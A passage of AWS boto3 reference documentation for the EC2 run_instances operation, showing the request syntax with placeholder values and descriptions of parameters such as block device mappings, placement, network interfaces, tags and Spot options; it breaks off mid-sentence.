xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + KernelId='string', + KeyName='string', + MaxCount=123, + MinCount=123, + Monitoring={ + 'Enabled': True|False + }, + Placement={ + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + RamdiskId='string', + SecurityGroupIds=[ + 'string', + ], + SecurityGroups=[ + 'string', + ], + UserData='string', + AdditionalInfo='string', + ClientToken='string', + DisableApiTermination=True|False, + DryRun=True|False, + EbsOptimized=True|False, + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceInitiatedShutdownBehavior='stop'|'terminate', + NetworkInterfaces=[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + PrivateIpAddress='string', + ElasticGpuSpecification=[ + { + 'Type': 'string' + }, + ], + ElasticInferenceAccelerators=[ + { + 'Type': 'string', + 'Count': 123 + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + LaunchTemplate={ + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + InstanceMarketOptions={ + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + CreditSpecification={ + 'CpuCredits': 'string' + }, + CpuOptions={ + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + CapacityReservationSpecification={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + HibernationOptions={ + 'Configured': True|False + }, + LicenseSpecifications=[ + { + 'LicenseConfigurationArn': 'string' + }, + ], + MetadataOptions={ + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + EnclaveOptions={ + 'Enabled': True|False + } +) + +Parameters + +* **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +* **ImageId** (_string_) -- The ID of the AMI. An AMI ID is required to launch an instance and must be specified here or in a launch template. +* **InstanceType** (_string_) -- + + The instance type. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: m1.small + +* **Ipv6AddressCount** (_integer_) -- + + [EC2-VPC] The number of IPv6 addresses to associate with the primary network interface. Amazon EC2 chooses the IPv6 addresses from the range of your subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + +* **Ipv6Addresses** (_list_) -- + + [EC2-VPC] The IPv6 addresses from the range of the subnet to associate with the primary network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **KernelId** (_string_) -- + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **KeyName** (_string_) -- + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + +* **MaxCount** (_integer_) -- + + **[REQUIRED]** + + The maximum number of instances to launch. If you specify more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches the largest possible number of instances above MinCount . + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 FAQ. + +* **MinCount** (_integer_) -- + + **[REQUIRED]** + + The minimum number of instances to launch. If you specify a minimum that is more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches no instances. + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 General FAQ. + +* **Monitoring** (_dict_) -- + + Specifies whether detailed monitoring is enabled for the instance. + + * **Enabled** _(boolean) --_ **[REQUIRED]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + +* **Placement** (_dict_) -- + + The placement for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +* **RamdiskId** (_string_) -- + + The ID of the RAM disk to select. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, go to the AWS Resource Center and search for the kernel ID. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **SecurityGroupIds** (_list_) -- + + The IDs of the security groups. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . + + If you specify a network interface, you must specify any security groups as part of the network interface. + + * _(string) --_ +* **SecurityGroups** (_list_) -- + + [EC2-Classic, default VPC] The names of the security groups. For a nondefault VPC, you must use security group IDs instead. + + If you specify a network interface, you must specify any security groups as part of the network interface. + + Default: Amazon EC2 uses the default security group. + + * _(string) --_ +* **UserData** (_string_) -- + + The user data to make available to the instance. For more information, see [Running commands on your Linux instance at launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). If you are using a command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. User data is limited to 16 KB. + + > **This value will be base64 encoded automatically. Do not base64 encode this value prior to performing the operation.** + +* **AdditionalInfo** (_string_) -- Reserved. +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. If you do not specify a client token, a randomly generated token is used for the request to ensure idempotency. + + For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + This field is autopopulated if not provided. + +* **DisableApiTermination** (_boolean_) -- + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EbsOptimized** (_boolean_) -- + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + Default: false + +* **IamInstanceProfile** (_dict_) -- + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + +* **InstanceInitiatedShutdownBehavior** (_string_) -- + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + +* **NetworkInterfaces** (_list_) -- + + The network interfaces to associate with the instance. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +* **PrivateIpAddress** (_string_) -- + + [EC2-VPC] The primary IPv4 address. You must specify a value from the IPv4 address range of the subnet. + + Only one private IP address can be designated as primary. You can't specify this option if you've specified the option to designate a private IP address as the primary IP address in a network interface specification. You cannot specify this option if you're launching more than one instance in the request. + + You cannot specify this option and the network interfaces option in the same request. + +* **ElasticGpuSpecification** (_list_) -- + + An elastic GPU to associate with the instance. An Elastic GPU is a GPU resource that you can attach to your Windows instance to accelerate the graphics performance of your applications. For more information, see [Amazon EC2 Elastic GPUs](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + +* **ElasticInferenceAccelerators** (_list_) -- + + An elastic inference accelerator to associate with the instance. Elastic inference accelerators are a resource you can attach to your Amazon EC2 instances to accelerate your Deep Learning (DL) inference workloads. + + You cannot specify accelerators from different generations in the same request. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium , eia1.large , eia1.xlarge , eia2.medium , eia2.large , and eia2.xlarge . + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + +* **TagSpecifications** (_list_) -- + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1089)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1091)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **LaunchTemplate** (_dict_) -- + + The launch template to use to launch the instances. Any parameters that you specify in RunInstances override the same parameters in the launch template. You can specify either the name or ID of a launch template, but not both. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **Version** _(string) --_ + + The version number of the launch template. + + Default: The default version for the launch template. + +* **InstanceMarketOptions** (_dict_) -- + + The market (purchasing) option for the instances. + + For RunInstances , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. The default is the On-Demand price. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. For [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances) , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for 